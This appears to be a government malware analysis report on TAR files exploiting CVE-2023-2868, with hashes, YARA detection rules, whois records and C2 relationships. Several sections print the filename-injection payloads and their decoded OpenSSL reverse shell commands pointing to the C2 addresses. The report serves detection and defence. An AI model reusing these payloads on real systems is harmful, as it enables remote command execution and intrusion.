    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
  condition:
    5 of them
}
```

ssdeep Matches

No matches found.

Relationships

3f2ca19ad3...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321.”

80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043

Tags

backdoor trojan

Details

Name	1666612600-0a151727b265b10001-RIRGpJ
Size	29883 bytes
Type	ASCII text
MD5	74b2cb4099ffb3a6eb2ada984f08a55c
SHA1	3a3d73662809b957c94407e7938c90a41e9b6023
SHA256	80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043
SHA512	4b4e7f5ef6fa006a3758649f2e664ca93198c3f82956c96975cafd815148b34eae7e7b6a3a2b9b632fe2f807713c536b77c7054ddd71a2851ed92ec7b4d26af0
ssdeep	96:81TMqi+YltziclXNI2dB+1jhXoueM1rHNqudK3b7OKiTcGuRNdecg6dxkXBd6UTS:Co+VmYXNvBkjh4tOLH4q6fbWS
Entropy	1.661984

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

```
rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
    SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
    SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
    SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
    SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
    SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
    SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
    SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
    SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
    SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
    SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"
  strings:
    $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
    $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
    $s3 = { 54 44 4e 53 64 47 4e 44 4f }
    $s4 = { 5a 45 63 78 64 }
    $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
    $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
    $s7 = { 4c 6e 52 34 64 41 }
  condition:
    5 of them
```

}

ssdeep Matches

No matches found.

Relationships

80342108e9...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321.”

f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa

Tags

backdoor trojan

Details

Name	1666614870-0a151727b166b50001-RIRGpJ
Size	29883 bytes
Type	ASCII text
MD5	e7f1555f9f9e9bca1898c720b2ef0866
SHA1	59ac617c7f6d779d0853921afbaf36574846ab9f
SHA256	f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa
SHA512	d5b930f4a13243ffd5ab43a50de5ba01154ee5054c4cea6830f583d761cd22828efd62e8cf35d5892649587b8982d3c8e7f4440a34ccc9b40761355a69372a06
ssdeep	96:7Rz1sZZqi+YlxiclK7342dB+1jhUQomK1rHNqudK3b7OKiTcGuRNdecg6dxkXBdu:7R+J+VcY43fBkjhxjkLH4q6fbOo
Entropy	1.661252

Antivirus

ESET	Linux/Exploit.CVE-2023-2868.A trojan

YARA Rules

- rule CISA_10454006_08 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
  {
    meta:
      Author = "CISA Code & Media Analysis"
      Incident = "10454006"
      Date = "2023-07-05"
      Last_Modified = "20230712_1400"
      Actor = "n/a"
      Family = "n/a"
      Capabilities = "accesses-remote-machines communicates-with-c2"
      Malware_Type = "trojan backdoor remote-access-trojan"
      Tool_Type = "unknown"
      Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868 encoded block"
      SHA256_1 = "0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6"
      SHA256_2 = "2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095"
      SHA256_3 = "3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7"
      SHA256_4 = "80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043"
      SHA256_5 = "9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5"
      SHA256_6 = "b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321"
      SHA256_7 = "b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2"
      SHA256_8 = "caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd"
      SHA256_9 = "cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba"
      SHA256_10 = "f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa"

```
    strings:
        $s1 = { 59 57 4a 6a 5a 47 56 6d 5a }
        $s2 = { 59 7a 4a 57 4d 47 4d 79 62 47 74 4a 53 45 35 76 53 55 4d 78 61 }
        $s3 = { 54 44 4e 53 64 47 4e 44 4f }
        $s4 = { 5a 45 63 78 64 }
        $s5 = { 57 54 49 35 64 57 4a 74 56 6d 70 6b }
        $s6 = { 53 55 52 4a 4b 30 77 79 55 6d 78 6b 61 54 6c 31 5a 46 64 34 63 }
        $s7 = { 4c 6e 52 34 64 41 }
    condition:
        5 of them
}
```

ssdeep Matches

No matches found.

Relationships

f536a7b75b...	Connected_To	107[.]148[.]223[.]196

Description

This artifact contains the same payloads as “b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321.”

949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788

Tags

backdoor trojan

Details

Name	snapshot.tar
Size	20480 bytes
Type	POSIX tar archive (GNU)
MD5	42722b7d04f58dcb8bd80fe41c7ea09e
SHA1	1903a3553bcb291579206b39e7818c77e2c07054
SHA256	949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788
SHA512	86f28510b50f1f0640065b2f5f6049d879c99c659b80dc4604942e2df8f7ff143f70acce05491f95e8eeff0718c69011c1c92d2611f3b86a5419c6dea1b802e0
ssdeep	48:G8n4+ntb7Ytb7blbfj1ZbfjZGCGBCGpiK4rD1EK4rD1:GaXiXbELnLHGQGdqZq
Entropy	0.978982

Antivirus

No matches found.

YARA Rules

```
• rule CISA_10452108_03 : backdoor communicates_with_c2 installs_other_components
  {
    meta:
        Author = "CISA Code & Media Analysis"
        Incident = "10452108"
        Date = "2023-06-20"
        Last_Modified = ""
        Actor = "n/a"
        Family = "n/a"
        Capabilities = "communicates-with-c2 installs-other-components"
        Malware_Type = "backdoor"
        Tool_Type = "unknown"
        Description = "Detects malicious Linux reverse shell samples"
```

```
    SHA256_1 = "2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b"
  strings:
    $s0 = { 6f 47 68 37 6f 68 63 34 }
    $s1 = { 41 6b 65 6f 38 61 68 58 }
    $s2 = { 65 65 71 75 65 69 37 41 30 39 33 30 32 }
  condition:
    all of them
}
```

- rule CISA_10454006_09 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2

```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868"
    SHA256_1 = "949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788"
    SHA256_2 = "f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0"
    SHA256_3 = "2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b"
  strings:
    $s1 = { 61 62 63 64 65 66 67 }
    $s2 = { 63 32 56 30 63 32 6c 6b 49 48 4e 6f 49 43 31 6a }
    $s3 = { 49 44 49 2b 4c 32 52 6c 64 69 39 75 64 57 78 73 }
    $s4 = { 49 43 39 30 62 58 41 76 }
    $s5 = { 59 32 39 75 62 6d 56 6a 64 }
    $n1 = { 6f 47 68 37 6f 68 63 34 }
    $n2 = { 41 6b 65 6f 38 61 68 58 }
    $n3 = { 65 65 71 75 65 69 37 41 30 39 33 30 32 }
  condition:
    all of ($s*) or all of ($n*)
}
```

ssdeep Matches

No matches found.

Relationships

949d4b01f3...	Dropped	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b
949d4b01f3...	Connected_To	107[.]148[.]223[.]196

Description

This artifact is a .tar sample that contains five files compressed. Four of the files within this .tar sample do not contain malicious capabilities. One of the files contains a malicious payload inside its filename that exploits CVE-2023-2868. Upon decompressing the archive the payload is seen below.

–Begin Payload–

```
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29u
bmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCA+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCl=;ee=ba;G=s;"ech"o $abcdefg|${ee}se64
-d|${G}h;wh66489.txt`'
```

–End Payload–

f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0

Tags

backdoor trojan

Details

Name	snapshot0.tar
Size	20480 bytes
Type	POSIX tar archive (GNU)
MD5	ac4fb6d0bfc871be6f68bfa647fc0125
SHA1	dc5841d8ed9ab8a5f3496f2258eafb1e0cedf4d3
SHA256	f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0
SHA512	0ebf9a75b7bcae7b7e28bef4d8e81e53829678104b09220e684e54df211130fafaa3387f057cbe8fdf24a0138e1ac9f5f24d83f467c4e0469c7dff009e8381d5
ssdeep	48:G8nZm+ntb7Ytb7blbfj1ZbfjZGCGBCGpiK4rD1EK4rD1:GmfXiXbELnLHGQGdqZq
Entropy	0.978201

Antivirus

No matches found.

YARA Rules

- rule CISA_10452108_03 : backdoor communicates_with_c2 installs_other_components
  {
    meta:
      Author = "CISA Code & Media Analysis"
      Incident = "10452108"
      Date = "2023-06-20"
      Last_Modified = ""
      Actor = "n/a"
      Family = "n/a"
      Capabilities = "communicates-with-c2 installs-other-components"
      Malware_Type = "backdoor"
      Tool_Type = "unknown"
      Description = "Detects malicious Linux reverse shell samples"
      SHA256_1 = "2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b"
    strings:
      $s0 = { 6f 47 68 37 6f 68 63 34 }
      $s1 = { 41 6b 65 6f 38 61 68 58 }
      $s2 = { 65 65 71 75 65 69 37 41 30 39 33 30 32 }
    condition:
      all of them
  }
- rule CISA_10454006_09 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
  {
    meta:
      Author = "CISA Code & Media Analysis"
      Incident = "10454006"
      Date = "2023-07-05"
      Last_Modified = "20230712_1400"
      Actor = "n/a"
      Family = "n/a"
      Capabilities = "accesses-remote-machines communicates-with-c2"
      Malware_Type = "trojan backdoor remote-access-trojan"
      Tool_Type = "unknown"

```
        Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868"
        SHA256_1 = "949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788"
        SHA256_2 = "f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0"
        SHA256_3 = "2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b"
    strings:
        $s1 = { 61 62 63 64 65 66 67 }
        $s2 = { 63 32 56 30 63 32 6c 6b 49 48 4e 6f 49 43 31 6a }
        $s3 = { 49 44 49 2b 4c 32 52 6c 64 69 39 75 64 57 78 73 }
        $s4 = { 49 43 39 30 62 58 41 76 }
        $s5 = { 59 32 39 75 62 6d 56 6a 64 }
        $n1 = { 6f 47 68 37 6f 68 63 34 }
        $n2 = { 41 6b 65 6f 38 61 68 58 }
        $n3 = { 65 65 71 75 65 69 37 41 30 39 33 30 32 }
    condition:
        all of ($s*) or all of ($n*)
}
```

ssdeep Matches

No matches found.

Relationships

f289b56583...	Dropped	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b
f289b56583...	Connected_To	107[.]148[.]223[.]196

Description

This artifact is a .tar sample that contains five files compressed. Four of the files within this .tar sample do not contain malicious capabilities. One of the files contains a malicious payload inside its filename that exploits CVE-2023-2868. Upon decompressing the archive the payload is seen below.

–Begin Payload–
```
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3RtcC9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
```
–End Payload–

2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b

Tags

backdoor trojan

Details

Name	abcdefgc2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCAL3RtcC9wIDIL2Rldi9udWxsO3JtIC90bXAvcCIeebaGs22ech22o_abcdefgeese64_-dGhwh66489.txt
Name	abcdefg_c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCAL3RtcC9wIDIL2Rldi9udWxsO3JtIC90bXAvcCI_ee_ba_G_s_ech_o_abcdefg_ee_se64_d_G_h_wh66489.txt
Size	29 bytes
Type	ASCII text, with no line terminators
MD5	fe1e2d676c91f899b706682b70176983
SHA1	77b1864c489affe0ac2284135050373951b7987e
SHA256	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b
SHA512	1c22a05e50aa3d954c2d5a1629e192a915c9d576cd1d7cd9ac3a3bbb35d934f6fc1768d996653a0bca2950185c2a9cec3d1675ca29a19b69da26100990eaa0d8
ssdeep	3:TTGRH+YHMFck:TKYYHIck

Entropy	4.047299

Antivirus

AhnLab	Exploit/Bin.CVE-2023-2868

YARA Rules

- rule CISA_10452108_03 : backdoor communicates_with_c2 installs_other_components
```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10452108"
    Date = "2023-06-20"
    Last_Modified = ""
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "communicates-with-c2 installs-other-components"
    Malware_Type = "backdoor"
    Tool_Type = "unknown"
    Description = "Detects malicious Linux reverse shell samples"
    SHA256_1 = "2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b"
  strings:
    $s0 = { 6f 47 68 37 6f 68 63 34 }
    $s1 = { 41 6b 65 6f 38 61 68 58 }
    $s2 = { 65 65 71 75 65 69 37 41 30 39 33 30 32 }
  condition:
    all of them
}
```
- rule CISA_10454006_09 : trojan backdoor remote_access_trojan accesses_remote_machines communicates_with_c2
```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10454006"
    Date = "2023-07-05"
    Last_Modified = "20230712_1400"
    Actor = "n/a"
    Family = "n/a"
    Capabilities = "accesses-remote-machines communicates-with-c2"
    Malware_Type = "trojan backdoor remote-access-trojan"
    Tool_Type = "unknown"
    Description = "Detects reverse shell samples in TAR files used in CVE-2023-2868"
    SHA256_1 = "949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788"
    SHA256_2 = "f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0"
    SHA256_3 = "2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b"
  strings:
    $s1 = { 61 62 63 64 65 66 67 }
    $s2 = { 63 32 56 30 63 32 6c 6b 49 48 4e 6f 49 43 31 6a }
    $s3 = { 49 44 49 2b 4c 32 52 6c 64 69 39 75 64 57 78 73 }
    $s4 = { 49 43 39 30 62 58 41 76 }
    $s5 = { 59 32 39 75 62 6d 56 6a 64 }
    $n1 = { 6f 47 68 37 6f 68 63 34 }
    $n2 = { 41 6b 65 6f 38 61 68 58 }
    $n3 = { 65 65 71 75 65 69 37 41 30 39 33 30 32 }
  condition:
    all of ($s*) or all of ($n*)
}
```

ssdeep Matches

No matches found.

Relationships

2a5de69124...	Dropped_By	949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788
2a5de69124...	Dropped_By	f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0
2a5de69124...	Connected_To	107[.]148[.]223[.]196

Description

This artifact is dropped by two different .tar files and contains a payload inside its filename that exploits CVE-2023-2868. The exploit payload is a shell script code with an embedded Base64 encoded reverse shell. Upon execution the malware Base64 decodes and executes the reverse shell code. The reverse shells establish connections using the "OpenSSL" to the C2 IP address "107[.]148[.]223[.]196" and ports “8080” or "443." The standard input and output are redirected to the named pipe "/tmp/p" and then removes "tmp/p" after the connection is closed.

The contents within the two dropped files are the same and is a string "oGh7ohc4Akeo8ahXeequei7A09302." This accounts for the two samples having the same hash, however, payload contents are different within the names of these files. When the payload executes, the commands slightly differ in the use of the port number as seen below.

When the "snapshot.tar" file is decompressed the below payload is revealed.
–Begin Payload–
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCA+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCI=;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
–End Payload–

–Begin Decoded Payload–
setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107[.]148[.]223[.]196:8080 >/tmp/p 2>/dev/null;rm /tmp/p"
–End Decoded Payload–

When the "snapshot0.tar" file is decompressed the below payload is revealed.
–Begin Payload–
'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6NDQzID4vdG1wL3AgMj4vZGV2L251bGw7cm0gL3RtcC9wIg==;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
–End Payload–

–Begin Decoded Payload–
setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107[.]148[.]223[.]196:443 >/tmp/p 2>/dev/null;rm /tmp/p"
–End Decoded Payload–

107[.]148[.]223[.]196

Tags

command-and-control

Ports

- 443 TCP
- 8080 TCP

Whois

NetRange: 107.148.0.0 - 107.149.255.255
CIDR: 107.148.0.0/15
NetName: PT-82-10
NetHandle: NET-107-148-0-0-1

Parent: NET107 (NET-107-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS398478, AS398993, AS399195, AS54600, AS398823
Organization: PEG TECH INC (PT-82)
RegDate: 2013-11-08
Updated: 2021-01-06
Ref: https://rdap.arin.net/registry/ip/107.148.0.0

OrgName: PEG TECH INC
OrgId: PT-82
Address: 55 South Market Street, Suite 320
City: San Jose
StateProv: CA
PostalCode: 95113
Country: US
RegDate: 2012-03-27
Updated: 2017-01-28
Ref: https://rdap.arin.net/registry/entity/PT-82

OrgNOCHandle: NOC12550-ARIN
OrgNOCName: NOC
OrgNOCPhone: +1-657-206-5036
OrgNOCEmail:
OrgNOCRef: https://rdap.arin.net/registry/entity/NOC12550-ARIN

OrgAbuseHandle: ABUSE3497-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-657-206-5036
OrgAbuseEmail:
OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE3497-ARIN

OrgTechHandle: NOC12550-ARIN
OrgTechName: NOC
OrgTechPhone: +1-657-206-5036
OrgTechEmail:
OrgTechRef: https://rdap.arin.net/registry/entity/NOC12550-ARIN

Relationships

107[.]148[.]223[.]196	Connected_From	949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788
107[.]148[.]223[.]196	Connected_From	2a860849a9e68df0053556b85f20010a1384b4c87594ba4f9bb3e1b1d287b095
107[.]148[.]223[.]196	Connected_From	cf0996a3aee148bc060f4726435dd0d7f1af79082277f407dfa07d81181322ba
107[.]148[.]223[.]196	Connected_From	caa795c4c934219d287379b20c2912af0f815de95bb73e0f02f5fe6eb9aa50bd
107[.]148[.]223[.]196	Connected_From	0b917d945a7491869fa5003f6b85c09f5f45795a7852a8b63ba1abdc9797d6a6
107[.]148[.]223[.]196	Connected_From	b5113e29ec23f6e1be289b99dc7ac2af1c252b4b6ff6e977f7827ab7fd686321
107[.]148[.]223[.]196	Connected_From	b52a9844d8368abe70b6ba0d8df84f88c8c0029dcbcf599665acd703b255d5d2
107[.]148[.]223[.]196	Connected_From	9d0c7a45dd00d31a9724fa9e96cb8ac99dd5a6502fe4515cedaabb2e58b1c5f5
107[.]148[.]223[.]196	Connected_From	3f2ca19ad3635f379968b0302c7e42cf954f85ab61166c6f70acfebc72f38ab7
107[.]148[.]223[.]196	Connected_From	80342108e9f0f1fd6b5c44e88006cebe37e4eccb3a0f567636b22ad210c0a043
107[.]148[.]223[.]196	Connected_From	f536a7b75b7205762b75a037ebf6503029aab1a02afab14b2709797c32e7e0fa

107[.]148[.]223[.]196	Connected_From	f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0
107[.]148[.]223[.]196	Connected_From	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b

Description

This IP address is used as C2 by the samples exploiting CVE-2023-2868.

2b2b7c5e825b7a18e13319b4a1275a0dd0086abd58b2d45939269d5a613a41e7

Tags

backdoor trojan

Details

Name	abcdefgc2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIxOS41NDo0NDMgPi90bXAvcCAyPi9kZXYvbnVsbDtybSAvdG1wL3Ai_eebaGsecho_abcdefgeese64_dGhwh66489.txt
Size	245 bytes
Type	ASCII text, with no line terminators
MD5	212031b3a6e958fb7b545862407e5f7a
SHA1	693247647b55476a383579f07e7e1eb16fc86b70
SHA256	2b2b7c5e825b7a18e13319b4a1275a0dd0086abd58b2d45939269d5a613a41e7
SHA512	88453bf84dfcbf7b162a414e06d2c1038924844aebf6cac847130ccb1aa32debaaebee13ce58ffa2277e1aeadc101b8a7f4ac53b2caa7405467846c783be5f9a
ssdeep	6:a5YA5VJ94nqrz8r+pssRHUuHQjgxlopNO1oCb+LlvN7kqS200orzFn:a5YSVMn0k+phRPHQjgxl0Fk7PzF
Entropy	5.801599

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

2b2b7c5e82...	Connected_To	107[.]148[.]219[.]54

Description

This artifact contains a payload that exploits CVE-2023-2868. The exploit payload is a shell script code with an embedded Base64 encoded reverse shell. Upon execution the malware base64 decodes and executes the reverse shell code. The reverse shell establishes connections using the "OpenSSL" to the C2 IP address "107[.]148[.]219[.]54" and port “443” and redirects the standard input and output to the named pipe "/tmp/p" and then removes "/tmp/p" after the connection is closed.

–Begin Encoded Payload–
'`abcdefg\=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIxOS41NDo0NDMgPi90bXAvcCAyPi9kZXYvbnVsbDtybSAvdG1wL3Ai;ee\=ba;G\=s;"ech"o $abcdefg;${ee}se64 -d;${G}h;wh66489.txt`'
–End Encoded Payload–

–Begin Decoded Payload–
setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107[.]148[.]219[.]54:443 >/tmp/p 2>/dev/null;rm /tmp/p"
–End Decoded Payload–

107[.]148[.]219[.]54

Tags

command-and-control

Ports

- 443 TCP

Whois

NetRange: 107.148.0.0 - 107.149.255.255
CIDR: 107.148.0.0/15
NetName: PT-82-10
NetHandle: NET-107-148-0-0-1
Parent: NET107 (NET-107-0-0-0-0)
NetType: Direct Allocation
OriginAS: AS398478, AS398993, AS399195, AS54600, AS398823
Organization: PEG TECH INC (PT-82)
RegDate: 2013-11-08
Updated: 2021-01-06
Ref: https://rdap.arin.net/registry/ip/107.148.0.0

OrgName: PEG TECH INC
OrgId: PT-82
Address: 55 South Market Street, Suite 320
City: San Jose
StateProv: CA
PostalCode: 95113
Country: US
RegDate: 2012-03-27
Updated: 2017-01-28
Ref: https://rdap.arin.net/registry/entity/PT-82

OrgAbuseHandle: ABUSE3497-ARIN
OrgAbuseName: Abuse
OrgAbusePhone: +1-657-206-5036
OrgAbuseEmail:
OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE3497-ARIN

OrgTechHandle: NOC12550-ARIN
OrgTechName: NOC
OrgTechPhone: +1-657-206-5036
OrgTechEmail:
OrgTechRef: https://rdap.arin.net/registry/entity/NOC12550-ARIN

OrgNOCHandle: NOC12550-ARIN
OrgNOCName: NOC
OrgNOCPhone: +1-657-206-5036
OrgNOCEmail:
OrgNOCRef: https://rdap.arin.net/registry/entity/NOC12550-ARIN

Relationships

107[.]148[.]219[.]54	Connected_From	2b2b7c5e825b7a18e13319b4a1275a0dd008 6abd58b2d45939269d5a613a41e7

Description

This IP address is used as C2 by the samples exploiting CVE-2023-2868.

Relationship Summary

2a860849a9...	Connected_To	107[.]148[.]223[.]196
cf0996a3ae...	Connected_To	107[.]148[.]223[.]196
caa795c4c9...	Connected_To	107[.]148[.]223[.]196
0b917d945a...	Connected_To	107[.]148[.]223[.]196

b5113e29ec...	Connected_To	107[.]148[.]223[.]196
b52a9844d8...	Connected_To	107[.]148[.]223[.]196
9d0c7a45dd...	Connected_To	107[.]148[.]223[.]196
3f2ca19ad3...	Connected_To	107[.]148[.]223[.]196
80342108e9...	Connected_To	107[.]148[.]223[.]196
f536a7b75b...	Connected_To	107[.]148[.]223[.]196
949d4b01f3...	Dropped	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b
949d4b01f3...	Connected_To	107[.]148[.]223[.]196
f289b56583...	Dropped	2a5de691243f2b91f164c3021c157fbd783b4f3e7d5f5950182e52ec868cd40b
f289b56583...	Connected_To	107[.]148[.]223[.]196
2a5de69124...	Dropped_By	949d4b01f31256e5e9c2b04e557dcca0a25fc2f6aa3618936befc7525e1df788
2a5de69124...	Dropped_By	f289b565839794fe4f450ed0c9343b8fb699f97544d9af2a60851abc8b4656e0
